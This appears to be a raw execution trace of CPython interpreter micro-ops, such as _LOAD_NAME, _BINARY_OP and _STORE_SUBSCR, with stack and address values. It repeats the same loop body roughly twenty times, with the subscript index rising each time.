65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 1 140702510881792 9223372036854775804 2645304350992
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350912
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304350976
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351040
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304350976
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351040
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304350976
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304350912
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350768
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304350832
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304350896
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 2 140702510881792 9223372036854775804 2645304351056
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350976
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351040
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351104
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351040
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351104
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351040
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304350976
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350832
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304350896
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304350960
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 3 140702510881792 9223372036854775804 2645304351120
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351040
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351104
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351168
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351104
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351168
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351104
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351040
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350896
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304350960
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351024
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 4 140702510881792 9223372036854775804 2645304351184
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351104
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351168
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351232
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351168
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351232
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351168
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351104
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350960
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351024
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351088
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 5 140702510881792 9223372036854775804 2645304351248
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351168
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351232
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351296
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351232
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351296
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351232
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351168
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351024
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351088
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351152
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 6 140702510881792 9223372036854775804 2645304351312
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351232
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351296
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351360
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351296
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351360
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351296
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351232
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351088
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351152
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351216
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 7 140702510881792 9223372036854775804 2645304351376
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351296
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351360
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351424
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351360
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351424
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351360
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351296
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351152
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351216
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351280
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 8 140702510881792 9223372036854775804 2645304351440
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351360
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351424
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351488
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351424
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351488
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351424
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351360
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351216
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351280
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351344
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 9 140702510881792 9223372036854775804 2645304351504
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351424
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351488
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351552
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351488
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351552
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351488
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351424
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351280
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351344
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351408
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 10 140702510881792 9223372036854775804 2645304351568
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351488
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351552
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351616
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351552
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351616
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351552
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351488
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351344
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351408
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351472
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 11 140702510881792 9223372036854775804 2645304351632
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351552
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351616
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351680
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351616
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351680
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351616
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351552
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351408
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351472
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351536
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 12 140702510881792 9223372036854775804 2645304351696
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351616
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351680
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351744
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351680
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351744
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351680
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351616
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351472
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351536
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351600
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 13 140702510881792 9223372036854775804 2645304351760
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351680
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351744
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351808
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351744
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351808
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351744
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351680
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351536
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351600
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351664
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 14 140702510881792 9223372036854775804 2645304351824
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351744
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351808
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351872
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351808
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351872
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351808
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351744
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351600
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351664
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351728
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 15 140702510881792 9223372036854775804 2645304351888
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351808
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351872
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351936
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351872
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351936
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351872
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351808
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351664
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351728
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351792
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 16 140702510881792 9223372036854775804 2645304351952
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351872
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351936
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352000
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351936
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352000
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351936
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351872
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351728
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351792
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351856
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 17 140702510881792 9223372036854775804 2645304352016
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351936
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352000
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352064
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352000
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352064
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352000
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351936
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351792
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351856
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351920
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 18 140702510881792 9223372036854775804 2645304352080
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352000
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352064
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352128
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352064
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352128
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352064
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352000
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351856
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351920
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351984
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 19 140702510881792 9223372036854775804 2645304352144
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352064
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352128
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352192
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352128
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352192
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352128
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352064
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351920
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351984
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352048
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 20 140702510881792 9223372036854775804 2645304352208
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352128
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352192
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352256
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352192
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352256
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352192
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352128
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351984
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
